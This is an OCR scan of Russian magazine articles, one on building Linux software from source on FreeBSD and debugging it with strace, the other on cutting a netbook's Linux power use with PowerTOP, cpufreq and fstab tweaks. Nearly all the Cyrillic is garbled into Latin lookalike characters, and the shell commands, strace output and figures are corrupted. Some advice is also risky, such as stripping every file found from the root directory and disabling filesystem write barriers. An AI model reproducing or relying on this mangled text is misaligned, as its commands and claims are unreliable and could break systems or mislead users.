Topeix Bo FreeBSD npocto Heso3MoxHo cobpaTb
CTOPOHHUIA CODT.

TpeTbst npobnema 3a4acTyio ocTaHaBAMBaET
[JAKE CaMblX HACTOMUMBLIX. VMd el — HecoB-
MECTMMOCTb 3arofIoBOYHbIX PalNoB U CUCTEM-
Helx BrubnvoTek, a ucTokn B coBCTBEHHOM NYTH
BSD 1 oTka3se oT MCnonb30BaHUs KOMMIOHEHTOR
GNU Ha cuctemHom yposHe. FreeBSD (novmul
coBMecTuma co crangaprom POSIX, u npasunbHo
HAMWCAHHLIE MPUNOXEHWS COBUPaIOTCA ANd Hee
623 BCakUxX NpobieM, Ho CTOUT NPCrPaMMKUCTY
3a4eACTBOBATL Kakme-To Linux-cneynduunsle
CHCTEMHBIE BBI30BbI MM MaKPOKOMaHAbl B CBOEM
npunoxeuu — sce, Tynuk. Cbopka octaHaenn-
BaETCH, U 3aCTaBUTh €€ NPOJCIKUTLECH beiBaeT
0UEeHb 1 04eHb CNoxHo. BoT cnuncok npobnem,

C KOTOPbIMW MOXET CTONKHYTBCH NONBE30BaTE b
FreeBSD Bo BpemMs cOOpKM NMpUNOXKEHWA, OPUEH-
THpoBaHHoro Ha Linux-cuctembl:

1. Pyravb koMnunaTopa Ha HeoObABNEHHEI2
dyrkunn. B 3aronosounbix davinax [*.hl agpa v
Bubnwotekn A3bika Cu Mexay Linux v FreeBSD
€CTL OTNNHNE, — HEKOTOPBIE GYHKUMK/CUCTEMHbIE
BbI30BbI MOTYT ObITE 00bABAEHLI B Pa3HbIX MECTax.
3auacTyo cneyeT NULL HabpaTe «man nMa_
dyHkunn» B TepmuHane FreeBSD u nocMotpeTs,
K KaKoMY 3aronosoYHOMY Gaiiny 0Ha OTHOCHTCH.
Ecnuxvpep He BknoyeH B gann, obpyraHHeli
KOMNWASTOPOM, 3HauwT, npobneMa pelumTcs 3a
cuet gobaenenuns ctpokw «#include <zarono-
BOYHbIN paiin.h>» B ncxogHnk. Ecav xe nckomas
dyHKLMA BOOBLLE OTCYTCTBYET B CHCTEME, TO
OCTAETCH HAMTW €8 KOJ, Ha NPOCTopax MHTepHeTa 1
CKONWPOBaTL MPAMO B MCXOOHWK.

2.PyraHb Ha oTCyTCTBYIOLLME MaKpoonpeaeneHus
[no cornaweHnio nx MMeHa NULWYTCH 3arNasHbi-
Mu Bykamm). Kopers npabneme, onath xe, B
pasiuyMK 3aron0BoYHbIX Gainos, Linux-gapu-
aHTH KOTOPbIX COlePXaT MHOXECTBO NoAPYHHbIX
MaKpoornpeneneHuia, a ux MoxxeT W He BeiTo B
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o To0t] Im-deskt strace /bin/is
execve("/bin/1s™, ["/bin/Ls"]. [/* 24 vars */1) = @

o sbrki = 0x90c7000

= nccess("/etc/1d. so.nohwenp®, = -1 TNOENT (Ho such file or directary)

mmap? (NULL, 4896, PROT HFAD‘PRDY HRI‘IF HIP _PRIVATE [MAP ANOHYMOUS, -1, @) = Oxb7fceddd
_access{"/etc/1d. s0.preload®, R OK) = -1 ENOENT (No such file or directory)

upen{~/ete/1d. 50, cache®, 0 ROONLY) =3

fetat8d(3, {st mode=S IFREG|064d, st sirw=82084, ...}] = B

Amap2(NULL, 62984, PROT READ, MAP PRIVATE, 3, 6) = EX071be088 ﬁ
close(3] =0 b | 3

ccess("/ote/1d. 5o, nohwcap”, F ux;
_DINBPON{~/110/TL2/ 1685/ CROV/11BrT.50. 1%, O REGHLY)
1 read(3, ‘\lTlI:L!\l\l\l\E\E\B\G\G\B\G\B\U\J\B\j\ﬂ\1\9\9\9\1‘10\SU\B\BUH\U\G‘I!\;HB‘
T5atha13, {st mode=5 IFREG[0644, 5T size=30b24, =0
mmap2(NULL. 4096, PROT_READ|PROT WRITE, MAP FRIVATZ\HM‘ ANONYMOUS,
mmap2(HULL, 33364, PROT READ|PROT EXEC. MAP_PRIVATC|MAP DENYWRITE, 3. ) = Oxb71b300n
mmap? (Gxb7FhbBOA, H147, PROT REAN[PROT WRITE, MAR PRIVATE [MAP [IXFD|MAP DINYWRITT, 1, 0x6) = Bxb7fbb
close(3)
access("/etc/1d.s0. nahuLap o o)
open(*/ L/ LibseLiiux . so. ILY) =
read(3, '\177ELr\L\l\1\a\o\n\u\u\u\e\e\e\s\a\s\n\1\s\u\oyn\a\euu<\e\a\m
T51at84(3, [st mode=S IFREG|0644. st 5170=09072,
mnap2 (NULL, 185276, PROT READ|PROT EXEC, MAR ﬂR]vATE\HAP BENMI €, 3, 0) - 0xb719a000
A R S Gl N TR et A VAT N KR e DM T [ B £ Bk
close(3) -
access (*/otc/ .50, nohwcap™. F_OK) -
open(*/Lib/Libacl.30.1", U RDUALY) =

= .1 erEm {No such file or directery)

.. 512] = 512

:.

=8
= -1 ENDENT (No such file or directory)

fee 512) = 512

ENDENT (o sucn tile or girectoryl

[Topoi NpUUKHY OLINBKU HAWTKU HENerK
> BeyHbI /bin/l
MOMNbITOK OTKPL

3aroNoBoYHbLIX dannax FreeBSD. PeweHne: HaiTu koj, Makpo-
ornpegeneHnd B MHTEPHETE WK L\UUX*XVI,D,ean W BCTaBUTL ero
MPAMO B UCXOAHMK NPMADKEHWS.

3. Pyrads Ha GyHKUWK, KOTCPBIE ABNAKTCH CUCTEMHBIMW BLI30-
Bamyi (NposepsAeTcs ¢ NoMOLLbIC 0BPaLLEHNS KO BTOPOH CerLivu
man-crpannil g Linux). B GonslumHcTEe Cayyaes 370 TyrnuK.
Ecnu cam paspaboruumk He nozabotvncs ob onuuum, oTReyan-
el 33 UX OTKNIDYEHWE, EAVHCTBEHHbIM NyTh — NepenncLiBa-
HWE UCXOOHWKE, HTO CAOXHO 1 He,ELOCTOIZHO.

YCTAHOBKA

[locne cbopkv npunoxerue Heobxoaumo ycTaHosnTs. B nogas-
nawLlem 6DJ'E|:UJV|HCTBG Cﬂy‘-laEB aTa OﬂEpaLl'l/lﬂ BBINONHAETCH

C NOMOLLLIO NPOCTOM KoMaHabl «make install» (unm «scons
install»), koTopas konvpyeT KOMNOHEHTHI MPUAOKEHIUS Ha CBOM
MECTE W YCTaHaBIMBAST NPaga focTyna, BoT TonLKo yaanuTs
HPMHQ)KEHVIB nocne BEHBCWD MOKHO TONTBKO C MOMOLL BHD
py4HOro 3atupaHus ero gainos (MoxeT noMoyb Takke KoMaHaa
«make uninstall», BoINONHEHHES K3 KOPHA MCXOAHKWKOB, HO OHa
HanuuectayeT nanexa He scernal. [oatomy nydwe npuberdyTs k
CI'EELI,I/IE!J'\MBIAPDEBHHHM CpeﬂCTEaMﬂ'ﬂﬂ CO30aHWA HaCcToALLero
anctpubytreHoro naketa. Hanbonee npoctoe u addekTneHoe
13 Hux — yTuauTa checkinstall [nttp://check nstall izi0 org),
npefHazHayYeHHas 4N CO3MaHUA MakeTos B MOMEHT YCTAHOBKM
NporpaMmbl U3 UCXOAHUKOB. Ee YHUKaNsHOCTs B YAUBUTENb-
HOW MPOCTOTE MCTIONL20BaHUS. BCe, YTO HyXKHO CAeNaTh AN
Co34aHKnd NakeTa 1 YCTaHOBKW €70 B CUCTEMY — HaE‘paTb ofHYy K3
NpUBEAEHHBIX HMXKE KOMaH[ BMecTo «make install»:

# checkinstall -R // RPM-naxer
# checkinstall -D // Deb-naxer
# checkinstall -S // Slackware

[Nocne Toro kak ycTaHoBKa NprioxeHns Bynet 3asepliena,
BLINQIHW KoMaHAy strip Ans buHapHukos v bubnuotek npu-
NOKEHWUS C LIENBI0 YMEHBLIWTE X 0BbeM. Yke ycTaHOBNEHHbIE
NPUNOKEHNA MOXKHO «CTPUMHYTH® C NOMOLLBIO BYX KOMaH[:

# £ind / | xargs file | grep "executable" |
grep ELF | cut =£1 -d : | xargs strip --strip-
unneeded

# find / | xargs file | grep "shared object" |

grep ELF | cut -£ 1 -4 : Xargs strip ——strip-

unneeded

NMPOBNEMbI 3AMYCKA

C ropaocTeio 3a BeINonHeHHylo paboTy Tul Habupaellb B TepMu-
Hase 3aBeTHyI0 KoManay v — Baul — nporpamuma 2apepiuaeTcs,
He ycnes HauaTh BeinonHaTees. Wtf? o Bcelt BuamumocTy, roe-to
B NpoLecce MHWLMaAN3aLmMmM NporpaMma BCTpeTUAa aLumnbky u
33BepLuMnack. XopoLuo Bbino Dbl YBUAETE XOTh KaKOe-TO AVarHoC-
TUYECKOE COODLEHIE, HO NANEKD HE ECE NPOrPaMMUCTEl CTONb
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-1, @) = 0xb7fhd000 ?
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j1m@j1m-desktop:~/hydrogen-0.9.4-rc2$ scons

o1 DiN4z2 || DAz iz A i DN 434 o ags || oivazn

scons: Reading SConscript files

use the Var
line 324, in

scons: warning: The Options class is deprecated;
File "/home/jlm/hydrogen-0.9.4-rc2/Sconstruct",
Checking for C header file sndfile.h... yes
Checking for C header file alsa/asoundlib.h.
Checking for C header file jack/jack.h... no

jack must be installed!
FImAT Tm. Hacbf?r\ _Ih\tdrn:g - O a-

yes

reoe W
CIE

eT, UTO HYX

&)

[

3aboTnvesl. Yo genate? Mepsoe: nepeuntats README. Boz-
MOXHO, B HEKOTOPbIX CUCTEMEX MU NPU CTeYSHUM OnpeieneHHbIX
obcToATeNLCTE COPTHHA He paboTaeT, 0 HeMm asTop YoKe 3HaeT.
Bropoe: npoBepuTs, KaKKe KOMMOHEHTLI NPorpaMmMa ycTaHoeuna
B CUCTEMY, U AOCTYMHbI TV OHUW ei1. HanpuMep, 0Ha MOXET MCNosb-
30BaTb GAMH W3 MOLKATANOMOB KaTanora /var s XpaHeH s CBOUX
BPEMEHHbIX (aiN0B, 8 OH NOYeMy-TO He Dbl CO3AaH WV NMOY4u
HEeMpaBKbHbIE MPasa AocTyna. TpeTse: 3anycTuTh NporpamMmy ¢
¢narom ' --help' M NpoOBEpUTL, NOAAEPKMBAET IV OHa febar-
PEXIMM C BLIBOLIOM AMarHOCTHHECKAX CO0BLIEHWI Ha IKpaH.

Ecnu atoTak — BKNKUMTE er0. HasepHsAKa Ha 3kpaHe NosBMTCA
coobuerue ob ol mrbre 1, BD3MOXHO, Jaxe onlcanie cnocobos
ycTpaHerus. HeteepToe: eC 370 CepBep, KOTOPbIN BeAT Nory —
MPOBEPWTL X Ha HaAWYWE AUarHoCTUHECKIX COOBLLeHMA.

Ecnu xe Hudero He NoMorno, 3a0elcTBY A TAXENYIO apTUANEPIIO.
B nioboi *nix-cucteme ecTs TPACCUMPOBLLMK CUCTEMHbIX BbI30-
BOB, NPeAHA3HAYSHHbIN A5 0TCAEKMBAHUA BCEX CUCKONNOB,
NpOM3BELeHHbIX MPUIIOKEHKUEM, 1 NIPOBEPKY X BO3BPaLLaeMOro
3navenma. B Linux oH 3oseTen strace, a o FreeBSD — truss (xots
uepes cucTemMy NopToe gocTyneH u strace). [pocTo 3anyctu npo-
rpaMMy ML erc ynpasaernem, v Tol ysUanLLL BCe ee obpallenns
KONepaLMoHHOR CUCTEME B PEXMME DEAJTLHOTO BPEMEeHM:

S strace cobdTmHAa

BbiBoA NyyLLE CMOTPETB € KOHLE, NOCTENEHHO MPONUCTLIBaN BCe
BbI308bI Close B NOMCKax NOCNe0BaTeNLHOCTU BbI30BOB Open.
3arem Heobxo4UMo NPOBEpUTD, KaK1e M3 NoCciefHNX Bei30BOB apen
BEPHYN OTPULATENBHBIA CTATYE (-1], M NPOCMOTPETS, K YeMy npouc-
xogwno obpalerve. B 95% cnyyvaes ownbka cBAzaHa c oTCyTCTBU-
em [ HEICCTYNHOCTY BCIEACTBE HENPaBUALHLIX NPas 4ocTynal
kakoro-nnbo dalina unu katanora. TpaccMpoBLLMK NOKaXxeT Bce
obpallieHns k ainam, U HaATU HeLOCTYNHOro by et HeCnoXHO.

®NIATUONTUMUSALINN

Mrpel ¢ pnaramu onTMMU3aLMKA — 0fHE M3 OCHOBHBIX MPUYUH
Kpaxa uni HenpaeunkHoR paboTkl caMoCToRATENEHO COBPaHHBIX
npunoxeruit. Cnenyet nosKMmars, 4To Nobas ontummsaums
BIWEYPOBHS ' 01" [uan npocTe ' -0 | noTeHUmMantHo onacHa.
Onar *-02*
HUIA, 32NpacTe YBrBaeT HUAKOYPOBHERLIA Ko c acceMbnepHeIMu

, XOTk W HE CTpaLler And bonblrHCTBa Nproxe-
BCTaBKaMW,a ' =03 ', aKTUBWPYIOLLMIA arPECCUBHKIA PEXUM,
MOYLLMIA NPOTUB CTaHAaPTOB, ErKo OTNPaBNAET B KOPKY Kaxaoe
sTOpOE npunoxerue. 06 ocTankHeIX pnarax v roBOpUTL HE CTOWT,
OHW NpeAHa3HaYeHbl 17 BECbMa Y3KOTr0 Kpyra NPUNoKeHui,
Mo3TOMY Mbl Dbl NOpEKOMEHA0BANM OCTAHOBUTLCH Ha CELYIOLLIMX
oNUMUAX oNTMMKU3aLIWA K Depedb CBOM HEPBbI 1 HEPBbI APYrix:

=0
CKOPOCTL MCNOAHEHUA MPOrpaMMbl.

+02 - craHgapTHbIM ypoBeHs onTuMmu3aumu. o cpasHeHuWio

€ '-0' HecyllecTBeHHO YBENWYVBaeT Kak pa3mep buHapHuka,

bazosan onTMMUaLNAS. 3HaunTENBHO yBe/ludymneaer

TEK W CKOPOCTE MCTONHEHMA NPOTrPaMMBbI.
* 05 — ONTUMU33LWS YPOBHA ' —02 ' B COBOKYNHOCTU C prara-
MU, YMEHBLUAIOWAMI Pa3MeEp.

= fomit-frame-pointer — ykazbiBaeM KOMNUNATOPY HE COXPAHATL
yKa3aTens Ha kaap cTeka [Tak Msi M3DeraeM BpeMeHHbIX 33TpaT Ha ero
coxpaHeHue 1 BaccTaHoBneHue). Vicnons3osanme atoro drara Mo-
eTBnaroTBOpHO NOBAKATEL Ha CKOPOCTEL MCMONHEHWA MPOrPaMMbl 30

Qﬁ

444

il

i
il

An

iables class instead.
<module>

b info

¢ BSD-gepcus
KoMaHabl patch He
nopaepxueaeT gnar
~-dry-run’.

¢ (JcTopoxkHee ¢ pac-
wupeHuamMm tgz mn tbz!
Takue apxuBbl MOTYT
coAepxaTh He nexof-
HbIl TEKCT NporpaMMmsl,
a2 BrHapHbIiA nakeT
ANS YCTaHOBKM

B BSD-cucteme.

L

b
e Cyctema nopTtoe
Gentoo, ArchLinux nan

nro

FreeBSD — otnudHbii
MCTOYHMK UHDOpP-
MaLlMK 0 TOM, Kak
npasnnbHo cobpats
MParpaMMy C y4eTom
BCEX 3aBUCUMOCTEN.

e Ecnu anazanycka
cobpaHHoro bu-
HapHuka TpebyeTcs
NOAKIOYUTE AMHAMU-
yeckue bubnuoTeku,
pacnonmKeHHbIe

B HECTAH/EPTHbIX
KaTanorax, UCnonb3ym
ldcanfig(8]. MNpw-

mep gna OpenBSD:
«ldconfig fusr/local/
lib /usr/X11Ré/lib».
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Cobepu

l Bpopory Tykca

Kak Bbl>kaTb MaKcMMyM U3 Linux Ha HeT6yke

EcnuvBepuTb CTaTUCTUKE, KaXAbIN NATLIN MPOAaHHbI
B 2009 rofy HoyTbyK — HeTBYyK. [/ 3TO HeyANBMNTETbHO

— NpU CPaBHUTEIbHO HEBbLICOKOW CTOMMOCTY OHM 0BNa-
00T NPaKTUYECKM BCEMU BO3MOXKHOCTAMU «BOSbLLNX

bpaTbeB», HO MPM 3TOM UMEIDT KOMMaKTHbIN pasMmep U1

Manbin Bec. O TOM, KaK pea/in30BaTb BC& BO3IMOXHOCTH

HeTOyKOoB Cc moMoLL b LINuX, 4 1 paccKaky B 3TOW CTaTbe.

alle Bcero HeTbyk MCnonb3yioT He B Ka-

YecTee 0CHOBHOMo paboyero MHCTPyMeH-

Ta [x0TH 5 BCTPE{aEn ¥ TaKKX YHUKYMOB),

a3 B KaUeCcTBe MOBUNEHOro JON0NHEHUA
K feckTony viau bonswomy HoyTy. [py TakoM pac-
KNnage BO rMagy yrna cTaBUTCH BpeMA aBTOHOMHOM
paboThl. K coxanenuio, AOCTaTOMHO MPOKOPAUBbIE
(ecnu cpasHueatk C cemeicTeoM ARM] npoueccop
M YUNCET, 3 TaKKE ManeHkk1i pasmep batapen
[IeNaI0T CBOE I8N0 — MAKCUMATBHOE BPEMS
aBTOHOMHOW paboTbl He NpesbiluaeT 8 yacos Npu
MCNob308aHKMK BaTapen NOBbLILWEHHDH EMKOCTH, 3
B CPEfIHEM 1NA CTAHLaPTHON Datapen cocTaBnseT
3-54acos.
Ho Bpems asToHOMHOW paboThl 4OCTATOYHO CUALHO
38BWCWT OT BEPWaHTOB MCNONL30BaHNA N ONTU-
muzatmn OC. [Mpasunbrsiv TioHMETOM OC MOXHO
fobutsea 10-50% npupocTa 3T0ro NnokasaTens.

3HAKOMCTBO
crnoponbITHLIM

B kauecTBe NOAOMNLITHONO BbICTYNEN NPOLUe AW
OrOHb, BOJY W HE OJHY ThICRHY KUNoMeTpoBs Acer
Aspire One ADAT10 ¢ xapakTepucTHKamMu:

Skpax 8,9" 1024 x 600

CPU Intel Atom N270 1.6 I'l'y,
YunceT Intel 945GSE

03Y 512 MB

Hakonutens 8 '6 SSD

Cerr 10/100 MBur/c Ethernet,
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802.11b/g
Kamepa 0,3 M, 2 xapopugepa

3-x zmeMenTHas 2200 mMAu BaTapes

BmecTo ctannapTHoro guctprbytusa Linpus
Linux Lite, e ycTpanBatoLLero MeHa no paay
npu4uH [0CHOBHAS NPETEH3MRA: MaNo U A0EONb
ro crapoe [10 B penosuTopwi], A ycTaHoBUN Ha
Hero TectoByio sepemio Ubuntu 9.10 Netbook
Remix [k MOMEHTY BbIX0/a CTETEM B NeYaThb yxe
[0JKeH sbliATH penus). B kauecTse Gainnosoi
CUCTEMBI 11 ANA KopHa, U Ana /home A Bribpan
ext4. Swap-pasgen He co3nasal M3-3a ONaceHui
3a 3popoebe SSD. HecmoTps Ha To, 4To Ubuntu
Netbook Remix M3HauansHo 3aT04eH Nof HeToy-
KW, IMEETCH eLlle AOCTATOYHO MECT AN NpUIIoxKe-
HWS HAMWABHIKS.

Y106kl yBUNETH BCE NPOBEAEHHBIE ONTUMU3ALIN B
Umdpax, Den nposeaeH paa TecToB. Tak Kak HeTbyk
7 MCMONBL3Y10, B GQCHOBHOM, And Beb-cepduHra

WK NPOCMOTPE BWMAE0, TO M TECTI bbiny BolbpaHs!
COOTBETCTBYILLME:

1. [lnsi TecTvpoBanus B pexunme Beb-cepduHra
Bbin HanveaH HebonblLIoR bash-ckpunT, KOTOPLIN
8 6eckoHeyHoM yrkne c nHTepeanoM B 30 cexyHn
orkpsleaet 8 Firefox 3.5 Heckonbko caiitos [

; ] v 3akpuipaeT Gpayzep
MuTepHeT Bo BpeMs TecTa pazaaerca no Wi-Fi.
2.[pu TeCTHMPOBaHKM B PEXUME NPOCMOTPA BUALO
mplayer NOCTOAHHO NPOMTPLIBAET IHAMEHUTBIN
mynsTdrasm «Big Buck Bunny» [1280x720, oggl.

[pomkocTs BeicTaeneHa Ha 80%.
Takske ¢ nomolsk bootchart 4 npoTecTupoean
BpEMHA 2arpy3Ku.
Mepes nposegernem kakux-n1bo onTuMuU3aumia
BbIn1 nonyyeHsl pesynsTaThi:

BpeMs 3arpy3KM: 17 CexyHO
B pexyme Beb-cepduHra: 163 MUHY TH

B pexumMe npocMoTpa Buzeo: 118 mmeyT

KTO BUHOBAT UYTO AENATB?

OcHOBHEIM CPe/CTEOM AN KOHTPONSA DHEPro-
noTpebneHus cucTeMel B LLENOM W NpoLeccopa
B4aCTHOCTH ABNACTCA 3aMeyaTensHas yTunuTa
PowerTOP, HanucanHas B Hegpax komnaHuu Intel
C nomMatlse PowerTOP MoxHO nony4uTs chefyo-
LUy MHGOPMELMIO:

1. Cronbko W 8 kakoM pexxuMe pabataet npouec-
cop. YeM gonslie npolieccop pabotaer g pexume
C3 unu C4, Tem MeHblUe 3Hepriau oH notpebnser.
2. Konuuectao npobyxaeHuii B cekyHay. AcHo, uto
YEM MEHbLLE 3TO YMEN0 — Tem yHiue

Z. Terylee sxepronoTpebnerye ¥ OpUeHTUPOBOY-
Hoe BpemaA pabotel oT Batapen.

4. KoMnoHeHTsl cUcTemMkl, Bei3biBaloWLMe Haubonb-
Liee Konu4ecTBo NPODYXAEHUIA B CEKYHAY.

5. [loackazku, oNMCeIBaLWNe KOHKPETHLIS LeiCT-
BWA, HANPABNEHHbIE Ha YMEHbLUEHWE SHepPronoT-
pebrerus.

PowerTOP ects 8 penosutepun Ubuntu nyctaHas-
nnBaeTcs kak 0bb14HO:
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S sudo apt-get install powertop
[porpammy Ha/10 3anyckaTs C NpaBamun root'a, xe-
nareneHo nNpu OTKNIOYEeHHOM aflanTepe NniTaHnd
[Torna MosxcHo ByLeT yBUOETE TeKyLLIee SHEPTONOT-
pebieHue v BpeMs [0 NCNHOM0 pas3paaa batapeu).
113 CKpUHWOTOR BUHO, 4TO Aaske Npuy gedonT-
HbIX HEICTpOL;WKBX CUCTEeMa B COCTORHWUW TOKOH
notpebnaer scera 8,3 BT, a npoueccop noytv 80%
BPEMEHW NPOBOAKT B cocTosiHim C3.

BCEHEHYXXHOE HA CJ1OM...

lNepeoe, yTe HeobxoaMMo caenaTs — 310 OTKNIO-
YWTh BCE, 4TO B LAHHBLIA MOMEHT HE NCNONL3YETCH.
To ecTb yBpaTh HEHYKHbIe CAYXKObI, OTKITIOUUTL
CeTeBbIe UHTERGEICH, 8CIK B HUX HET Heobxo-
AMMOCTH, 0Tka3aTscs or Compiz [ecnn BraoyeH),
yMeHbLIWTL ApKOCTs NoacseTky LED Ao MuHK-
MaJI5HO KOMGOPTHOTO YPOBHSA U T.A.
[TpoaHanu3upoBaB 3anyckaeMsle Npu cTapTe
cucTemsl cyxBel, 1 yGpan bluetooth (B HeTbyke
et BeTpoeHHoro), cups (Hr pazy He nogkloYan K
Hemy npuHTep), avahi-daemon, saned natd:

S ed /etc/reZ.d/

$ sudo rm 825blu

daemon S50cups 8¢
3aynpasneHue SpKOCTLIO NOACBETKY OTBEYAET
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gnome-power-manager. 1o yMon4aruio npu
paboTe oT ceTu apkocTs BeicTagnaeTtcs & 100%.
Mpu paboTte o1 bataper — Ha 50% ymeHblwaeTcs.
JInyHo mHe Bnonte xeataeT v 30%, nosToMy 5
HaCTPOMIT YMEHBLIBHWE APKOCTW NPY pabote ot
Barapew Ha 70%:

S geconftool-2 --set /apps/
gnome-power-manager/backlight/
brightn dim_battery ——type

Splash screen MHe TOXe He Hy:EH — TONbKO Che-
NAeT AParoLeHHEIe TaKTbl, 43 CKPbIB3ET NONE3HY0
uHpopMalmio. 3acaHo MoxHo yBpaTs nofnepxKy
|Pvé, ecnv Takosas He TpebyeTtca. OTknioueHue/
sriodeHue splash screen u |Pvé ocywectenseTca
33 cyeT nepedaqy fApy oNpeAenerHHbIX napa-
MeTpos npw 3arpyake. JedanTHsle napaMeTpsl
nponucaHsl B paiine /etc/default/grub, B cTpoke
GRUB_CMDLINE_LINUX_DEFAULT. A ybpan v
37O CTPOKM MapaMeTphl quiet u splash, nobaswn
napamerp ipvé.disable=1. HroBel 311 NapaMeTphl
MPYMEHUNNCL A BCEX AAED, YCTEHOBNEHHbIX B
CUCTEME, HA0 8Tk KOMBH[LY:

$ sudo update-grub

Euwie oguH cnocob yMeHbWMTL NoTpebaerue sHep-
ran — Bbll_p\/BMTh Hewncnonb3yemble MoOoynm anpa.

bonblue Bcero Ha at {epri MOXHO COKOHOMUTb,
BHIrPY3VIE MOZYNIW, OTBEYaI0LLVe 33 paboTy web-
kamepbl v USB-noncrcreme:

$ sudo rmmod usb_storage uvcvideo

videodev vdll_ compat

[1ns1 aBTOMaTU3a UMY 3arPY3KKU/BLITPY3KI MOLYNEH
MOXHO HAMWCaTh CKPUMT W 3aMYyCKaTh ro npu
HeobxogmMMocTi nubo nobaBuTe 3TAT CKPUNT B
ACPIl-ckpuntsl.

MOEXAJNIN!

Mpy MOHTUPOBaHWUK HaRNOBBIX CUCTEM TOXE ECTb
BOZMOXNHOCTL OTKTIOUYUTE <JIMLLHUE GUHM, HTO
NONOXKNTENBHO CKAXeTCs Ha BbICTPOAACTBIM W
BpemeHu ku3Hu SS0. Hanpumep, oTHocuTeNbHO
Bez0nacHo MOXHO OTKIIOYNTE 38M1Ch BpEMEHN
nocheaHero goctyna k daiiny (onums MoHTMpOBa-
Hus noatime). [pu Hanuumuk ncnpasHol batapen
MOXKHO YBENWYATL BpeMs Mexly cbpocamu
Bydepos Ha AuCK [ NOMOLLLI0 ONLAK MOHTPO-
saHus commit) u oTkmounTs bapsep (barrier=0).
C noMouwbio onumi data=writeback MoxHo Bk~
YUTh CaMbIA BBICTPBI PEXUM XKYPHANMPOBaHUS
(ByneT BECTUCH XypHaJ TONBKO ANA METaAAHHbIX].
MNpagpna, y MEHA CUCTEMA 0TKa3biBaNaCck rpy-
3VTHCS, @CINW ITOT PEXKUM YCTaHOBAEH 151 KOPHA.
[Mpuwnocs octaguTs Tonsko g /home. Mpu
MONHOCTHIO OTKIOYEHHOM XYPHaNe CUCTeMa TOXE
rpy3nTLCA He 3axoTena. B utore, Mo MoanbULM-
poBaHHLIi /etc/fslab cTan Beirnsne T cneayoLwLmM

obpasom:
$ sudo nano fetc/fstab
UUID=31fafd4d47-f5e3-40bd-9970-
16£703eel130b / ext4

neoatime,commit=100,barrier=0 0
3k

UUID=baf24048-42
ds54deb26846f

=

9-4c8a-849c-
me extd noa

s commit=100,barrier=0,data=wri

teback( 2

Mpoueccop Intel Atom, kak v BoNbWUHCTBO
npoueccopos Intel, nopaepxnBaeT TeXHONO-
ruto Enhanced Intel Speedstep Technology,
NO3BOMALLYI0 M3MEHATL 4ACTOTY MpoLUEeccopa
B 3aBMCUMOCTI OT HArPY3KK, YTO HEMIOX0 KO-
HOMWUT 3Hepruio. Agpo Linux, B cBo o4Yepedb,
nopaepKuBaeT HECKONbKO CXEM N3MEHEHNS
4aCTOTHI MPOLECCopa. Y3HaTh, Kakne CXeMebl
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@aiin Opaska Bun TepMuHan Cnpaska
PowerTOP version 1.11 {€) 2067 Intel Corporation

Cn Avg residency P-states (frequencies)
€0 (Un pabovaer) ( 0,6% 1,68 Iy 2,2%
polling g.0ms ( 0,0%) 1333 Mry 0,0%

€1 halt 8,6ms ( 0,8%) 1066 My 6,1%

(@] 65,6ms (35,5%) 800 My 97,8%

[ 22,1ms (63,9%)

akeups-from-idle per second : 34,3 interval: 15,8s
Jnepronorpebnenne (no oueke ACPT): 8,6 BT (2,8 vacos ocTanocs)

Top causes for wakeups:
26,1% ( 11,1) <interrupt> : uhci_hcd:usbd4, ath

28,9% ({ 8,9) <kernel core» : hrtimer start range ns (tick sched timer)
11,6% (4,9} <interrupt> : extra timer interrupt

8,0% ( 3,4) <kernel core> : hrtimer start (tick sched timer)

6,3% { 2,7) <interrupt> : ata piix

5.5% ( 2,3) <kernel IPI> : Rescheduling interrupts

5.8% (0 2,3) firefox-3.5 : hrtimer start range ns (hrtimer wakeup)
3.8% ( 1,6) hald : schedule timeout uninterruptible (process timeout)
3,8% ( 1,6) gnome-terminal : hrtimer start range ns (hrtimer wakeup)
2,65 ( 0,9 <interrupt> : acpi

0,9% ( ©,4) phye :

9,8% ( 0,3) NetworkManager :

8,6% ( 6,3) netbook-launche :

0,5% ( 9,2) <kernel core> : sk reset timer (tcp delack timer)

suggestion: Enable USB autosuspend by pressing the U key or adding
usbcore.autosuspend=1 to the kernel command line in the grub config

u

PowerTOP: no onTMMU3aLUi

LOCTYNHbI HA JAHHOM SAPE, MOXHO YEPES
sysfs:

$ cat /sys/devices/system/cpu/
cpul/cpufreg/scaling _available_

governors

Anpo 2.6.31 nopgaemxuBaeT cxembl: conservative,
ondemand, userspace, powersave 1 performance.
Powersave v performance NpocTo Lepx«aT 4acToTy
pOLLEeCccopa Ha MUHMMANLHOM ¥ MaKCMMarbHOM
YPOBHE COOTBETCTBEHHO [MUHMMBNBHYIO 1 MaKCH-
ManbHYK YACTOTY MOXHO y3HaTh 13 /sys/devices/
systemn/cpu/cpul/cpufreg/cpuinfo_min_frequ/
sys/devices/system/cpu/cpul/cpufreg/cpuinfa_
max_freq, sHa4yeHne B KTy, Userspace noasonqet
BPYUHYIO YCTEHABNUBATE HY>XHYIO YACTOTY NPoLec-
copa. Conservative n ondemand nogctpavsaior
YaCTOTY NOA TEKYLIYIO Harpy3ky (pasHuLa mexay
HUMK — B PA3NUYHBIX ANr0PMTMAX NOACYETE
neobxonnmoii yacToTel. Intel pekomenmyeT re-
nons3oBats ondemand. [ocmoTpeTh, Kakasd cxema
MCNOJL2YETCH B AAHHLIA MOMEHT, MOXKHO TaK:

$ cat /sys/devices/system/cpu/cpul/

cpufreq/scaling_governor

B Ubuntu ondermand wcrnonkayetcs noymon-
daHmio. Mpu HeoBXOAMMOCTI UIMEHM CXEMY Ha
ondemand:

$ echo ondemand | sudo tee /sys/
devices/system/cpu/cpul/cpufreqg/

scaling_governor

ECNM B HanU4Mu UMEETCs HeCKOSIBKO NPOLIECCop-
Hbix snep (nycTs daske BupTyanerbix], To ondemand
Ha[o NPonVCaTh ANS KaXA00 U3 HNX.

Y cxeMmbl ondemand ecTk HECKONBKO HECTpauBae-
MblX MapaMeTpoB:

1.up_threshold — nopor 3arpysku npoyeccopa,
NpY KOTOPOM OH NepexoduT Ha BonbLuyio HacToTy. B
Ubuntu noymonuanuio — 5%, nostomy B uaMeHe-
HUW He HY>KaeTcs.

2.sampling_rate — kak Yacto nposepsercs
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leeeB0211 associated (ieee8211 sta timer) |
hrtimer start range ns (hrtimer wakeup) |
hrtimer start range ns (hrtimer wakeup) |

Enable USB suspend

TekylLag 3arpyaka npoleccopa. o ymondarmio —
100 pas B cekyHy. Vizmenmm 3HadeHqe Ha 1 pas e
cekyHay [ykassiBaeTcs B MuKpocekyHaax):

$ echo 1000000 | sudo tee /sys/
devices/system/cpu/cpul/cputreg/
sampling rate

